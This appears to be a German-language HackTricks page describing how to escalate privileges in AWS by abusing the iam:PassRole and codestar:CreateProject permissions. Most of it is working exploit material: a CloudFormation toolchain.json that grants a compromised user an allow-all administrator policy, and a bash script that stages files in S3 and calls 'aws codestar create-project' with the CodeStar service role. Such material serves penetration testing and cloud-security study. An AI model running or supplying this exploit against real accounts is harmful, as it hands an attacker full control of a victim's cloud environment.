iam:PassRole, codestar:CreateProject

Unterstütze HackTricks

Mit diesen Berechtigungen kannst du eine codestar IAM-Rolle missbrauchen, um willkürliche Aktionen über eine CloudFormation-Vorlage auszuführen.

Um dies auszunutzen, musst du einen S3-Bucket erstellen, der vom angegriffenen Konto zugänglich ist. Lade eine Datei namens toolchain.json hoch. Diese Datei sollte das CloudFormation-Vorlagen-Exploit enthalten. Folgendes kann verwendet werden, um eine verwaltete Richtlinie einem Benutzer unter deiner Kontrolle zuzuweisen und ihm Administratorberechtigungen zu geben:

toolchain.json
{
"Resources": {
"supercodestar": {
"Type": "AWS::IAM::ManagedPolicy",
"Properties": {
"ManagedPolicyName": "CodeStar_supercodestar",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
},
"Users": [
"<compromised username>"
]
}
}
}
}

Laden Sie auch diese leere zip-Datei in den Bucket hoch:

Denken Sie daran, dass der Bucket mit beiden Dateien vom Opferkonto aus zugänglich sein muss.

Nachdem beide Dinge hochgeladen sind, können Sie nun mit der Ausnutzung fortfahren, indem Sie ein Codestar-Projekt erstellen:

PROJECT_NAME="supercodestar"

# Crecte the source JSON
## In this JSON the bucket and key (path) to the empry.zip file is used
SOURCE_CODE_PATH="/tmp/surce_code.json"
SOURCE_CODE="[
{
\"source\": {
\"s3\": {
\"bucketName\": \"privesc\",
\"bucketKey\": \"empty.zip\"
}
},
\"destination\": {
\"codeCommit\": {
\"name\": \"$PROJECT_NAME\"
}
}
}
]"
printf "$SOURCE_CODE" > $SOURCE_CODE_PATH

# Create the toolchain JSON
## In this JSON the bucket and key (path) to the toolchain.json file is used
TOOLCHAIN_PATH="/tmp/tool_chain.json"
TOOLCHAIN="{
\"source\": {
\"s3\": {
\"bucketName\": \"privesc\",
\"bucketKey\": \"toolchain.json\"
}
},
\"roleArn\": \"arn:aws:iam::947247140022:role/service-role/aws-codestar-service-role\"
}"
printf "$TOOLCHAIN" > $TOOLCHAIN_PATH

# Create the codestar project that will use the cloudformation epxloit to privesc
aws codestar create-project \
--name $PROJECT_NAME \
--id $PROJECT_NAME \
--source-code file://$SOURCE_CODE_PATH \
--toolchain file://$TOOLCHAIN_PATH

Dieser Exploit basiert auf dem Pacu-Exploit dieser Berechtigungen: https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam__privesc_scan/main.py#L1997 Darin finden Sie eine Variation, um eine von einem Administrator verwaltete Richtlinie für eine Rolle anstelle eines Benutzers zu erstellen.

Unterstützen Sie HackTricks

Last updated